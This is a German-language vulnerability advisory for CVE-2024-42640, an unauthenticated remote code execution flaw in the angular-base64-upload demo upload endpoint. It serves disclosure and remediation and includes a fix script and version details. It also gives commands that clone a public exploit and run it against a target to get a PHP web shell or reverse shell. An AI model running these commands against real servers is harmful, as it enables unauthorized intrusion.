
Nicht authentifizierte Remote-Code-Ausführung über die Angular-Base64-Upload-Bibliothek
CVE-2024-42640
Nicht authentifizierte Remote-Codeausführung über die Angular-Base64-Upload-Bibliothek
für weitere Details: Blog
angular-base64-upload-Versionen vor v0.1.21 sind anfällig für nicht authentifizierte Remote-Codeausführung über den Endpunkt angular-base64-upload/demo/server.php. Durch Ausnutzung dieser Sicherheitslücke kann ein Angreifer beliebige Dateiinhalte auf den Server hochladen, die anschließend über den Endpunkt angular-base64-upload/demo/uploads abgerufen werden können. Dies führt zur Ausführung zuvor hochgeladener Inhalte und ermöglicht dem Angreifer letztlich die Codeausführung auf dem Server.

git clone https://github.com/rvizx/CVE-2024-42640
cd CVE-2024-42640
python3 exploit.py <target> # this will use a php command shell (web-shell)
python3 exploit.py <target> --rev # this will use a php reverse shell
Um das Sicherheitsproblem zu beheben,
Das folgende Skript fix.sh wurde entwickelt, um das Sicherheitsproblem mithilfe der oben genannten zweiten Option zu beheben,

git clone https://github.com/rvizx/CVE-2024-42640
cd CVE-2024-42640
chmod +x fix.sh
./fix.sh # example: ./fix.sh /app | tee -a /tmp/verify.log
Exploit-Titel: Nicht authentifizierte RCE über Angular-Base64-Upload-Bibliothek
Forscher: Ravindu Wickramasinghe | rvz (@rvizx9)
Schweregrad: Kritisch - 10.0 (CVSS 4.0)
Hersteller-Webseite: https://www.npmjs.com/package/angular-base64-upload
Software-Link: https://github.com/adonespitogo/angular-base64-upload
Vektor: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Anfällige Versionen: < v0.1.21
Behobene Versionen: >= v0.1.21
Getestet auf: Arch Linux
CVE : CVE-2024-42640
NIST: https://nvd.nist.gov/vuln/detail/CVE-2024-42640
Github PoC Exploit-Link : https://github.com/rvizx/CVE-2024-42640
Blog-Beitrag: https://www.zyenra.com/blog/unauthenticated-rce-in-angular-base64-upload.html